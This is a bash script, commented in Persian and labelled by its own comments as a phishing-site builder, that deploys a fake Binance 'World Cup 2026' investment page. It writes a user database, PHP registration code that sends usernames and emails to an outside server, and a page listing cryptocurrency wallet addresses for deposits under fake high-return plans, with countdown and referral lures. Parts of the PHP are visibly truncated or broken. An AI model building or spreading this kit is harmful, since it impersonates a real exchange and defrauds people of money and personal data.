#!/bin/bash # ============================================================ # اسکریپت ساخت سایت فیشینگ (فقط سایت) # ============================================================ echo "🚀 شروع ساخت سایت فیشینگ..." echo "================================================" # ============================================================ # ۱. نصب پیش‌نیازها # ============================================================ echo "📦 نصب پیش‌نیازها..." sudo apt update -qq sudo apt install -y php php-sqlite3 php-curl php-mbstring -y # ============================================================ # ۲. ساخت پوشه‌ها # ============================================================ echo "📁 ساخت پوشه‌ها..." mkdir -p ~/projects/binance-phish/database cd ~/projects/binance-phish # ============================================================ # ۳. پایگاه داده # ============================================================ echo "📊 ساخت پایگاه داده..." sqlite3 database/users.db << 'EOF' CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, email TEXT UNIQUE NOT NULL, balance REAL DEFAULT 10, total_deposit REAL DEFAULT 0, total_profit REAL DEFAULT 0, referral_code TEXT UNIQUE, referred_by INTEGER, referral_count INTEGER DEFAULT 0, referral_bonus REAL DEFAULT 0, plan_used_step INTEGER DEFAULT 0, plan_used_stake INTEGER DEFAULT 0, plan_used_instant INTEGER DEFAULT 0, plan_used_charity INTEGER DEFAULT 0, login_count INTEGER DEFAULT 0, login_bonus_claimed INTEGER DEFAULT 0, vip_earned INTEGER DEFAULT 0, vip_bonus REAL DEFAULT 0, created_at DATETIME DEFAULT CURRENT_TIMESTAMP ); CREATE TABLE IF NOT EXISTS deposits ( id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER, amount REAL, currency TEXT, plan TEXT, profit REAL, txid TEXT, status TEXT DEFAULT 'pending', created_at DATETIME DEFAULT CURRENT_TIMESTAMP, confirmed_at DATETIME ); CREATE TABLE IF NOT EXISTS settings ( key TEXT PRIMARY KEY, value TEXT ); INSERT OR IGNORE INTO settings (key, value) VALUES ('total_users', '0'); INSERT OR IGNORE INTO settings (key, value) VALUES ('max_users', '500'); EOF # ============================================================ # ۴. فایل‌های سایت # ============================================================ echo "📝 ایجاد فایل‌های سایت..." # config.php cat > config.php << 'PHP' true, 'secure' => true, 'samesite' => 'Strict']); session_start(); function generateCSRFToken() { if (empty($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token']; } function verifyCSRFToken($token) { return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token); } function sanitizeInput($data) { return htmlspecialchars(strip_tags(trim($data)), ENT_QUOTES, 'UTF-8'); } function getDB() { static $db = null; if ($db === null) { try { $db = new PDO('sqlite:' . DB_FILE); $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $db->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); } catch (PDOException $e) { die('Database connection failed.'); } } return $db; } function sendToCaldera($event, $data) { if (defined('CALDERA_URL') && CALDERA_URL) { @file_get_contents(CALDERA_URL . '/api/' . $event, false, stream_context_create([ 'http' => ['method' => 'POST', 'header' => 'Content-Type: application/json', 'content' => json_encode($data)] ])); } } $WALLETS = [ 'BTC' => 'bc1qu2yhszz2nztqv00vfyrpqvyjmdjjpv9a900wgu', 'USDT' => 'THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv', 'TRX' => 'THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv', 'BNB' => '0x2cDE88DFa196806DC1ca68314C22061f97b4A4b8', 'ETH' => '0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5', 'LTC' => 'ltc1qwq3s30a3q7gv8s5lxnwzn6rcg2vl9p3typtmdn', 'XRP' => 'rUPTc3git3pJQ7RZmEvUvggCKPcb8WcXmy', 'SOL' => '2zamS5P1Smz59C4hdmBdPNcg2J7uYBxCmnjq6kR7VR5S', 'MATIC' => '0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5', 'ADA' => 'addr1qx0m9tp5d8a8unurfdujm4pdv2w5rs6jqa20x0kerj4z4f8206d93aylrl9yqeld0svpa2d7eau9c86dcqteyq83z3dqtznruf' ]; ?> PHP # index.html cat > index.html << 'HTML' Binance World Cup 2026

🏆 World Cup 2026 Exclusive Offer

A special gift from our exchange and premium sponsors.

🔥 Only 150 spots left!

⏳ Offer Ends In:
05:00:00
Your Balance
10.00 USDT
+ Welcome Bonus
Register & Get 10 USDT
Wallet Addresses
₿ Bitcoin
bc1qu2yhszz2nztqv00vfyrpqvyjmdjjpv9a900wgu
💵 USDT (TRC20)
THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv
🟣 TRX (TRC20)
THcMS74Rv1FNUvxiDRbAz4hg5oY75kDhrv
🔶 BNB (BEP20)
0x2cDE88DFa196806DC1ca68314C22061f97b4A4b8
💎 ETH (ERC20)
0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5
Ł Litecoin
ltc1qwq3s30a3q7gv8s5lxnwzn6rcg2vl9p3typtmdn
💠 XRP
rUPTc3git3pJQ7RZmEvUvggCKPcb8WcXmy
☀️ Solana
2zamS5P1Smz59C4hdmBdPNcg2J7uYBxCmnjq6kR7VR5S
🔷 Polygon
0xb35574B50ae545a0f51338C0c6b7d7bba1B998a5
🔹 Cardano
addr1qx0m9tp5d8a8unurfdujm4pdv2w5rs6jqa20x0kerj4z4f8206d93aylrl9yqeld0svpa2d7eau9c86dcqteyq83z3dqtznruf
Investment Plans
📈 Step Plan 72h

Deposit $50–$1,000 | Profit 40%–90%

🔒 Staking Plan 5d

Stake $500–$20,000 | Daily Profit 4%–8%

⚡ Instant Plan 36h

Deposit $100–$10,000 | Profit 45%

❤️ Charity Plan 5d

Donate $1–$50 | Help patients in need

Referral Bonus

Invite friends and earn $100 USDT for every 5 referrals!

HTML # register.php cat > register.php << 'PHP' = MAX_ATTEMPTS) { echo json_encode(['success' => false, 'message' => 'Too many attempts. Please wait.']); exit; } $username = sanitizeInput($_POST['username'] ?? ''); $password = $_POST['password'] ?? ''; $email = sanitizeInput($_POST['email'] ?? ''); if (empty($username) empty($email)) { echo json_encode(['success' => false, 'message' => 'All fields are required.']); exit; } if (!verifyCSRFToken($_POST['csrf_token'] ?? '')) { echo json_encode(['success' => false, 'message' => 'Invalid CSRF token.']); exit; } try { $db = getDB(); $stmt = $db->query("SELECT value FROM settings WHERE key = 'total_users'"); $total = $stmt->fetchColumn(); if ($total >= MAX_USERS_REAL) { echo json_encode(['success' => false, 'message' => 'Registration closed.']); exit; } $stmt = $db->prepare("SELECT id FROM users WHERE username = ? OR email = ?"); $stmt->execute([$username, $email]); if ($stmt->fetch()) { echo json_encode(['success' => false, 'message' => 'Username or email already exists.']); exit; } $referral_code = bin2hex(random_bytes(6)); $password_hash = password_hash($password, PASSWORD_DEFAULT); $stmt = $db->prepare("INSERT INTO users (username, password, email, referral_code, balance) VALUES (?, ?, ?, ?, 10)"); $stmt->execute([$username, $password_hash, $email, $referral_code]); $db->exec("UPDATE settings SET value = value + 1 WHERE key = 'total_users'"); sendToCaldera('register', ['username' => $username, 'email' => $email, 'balance' => 10]); echo json_encode(['success' => true, 'message' => 'Registration successful! 10 USDT bonus added.', 'referral_code' => $referral_code]); } catch (PDOException $e) { echo json_encode(['success' => false, 'message' => 'Server error.']); } $_SESSION['register_attempts']++; ?> PHP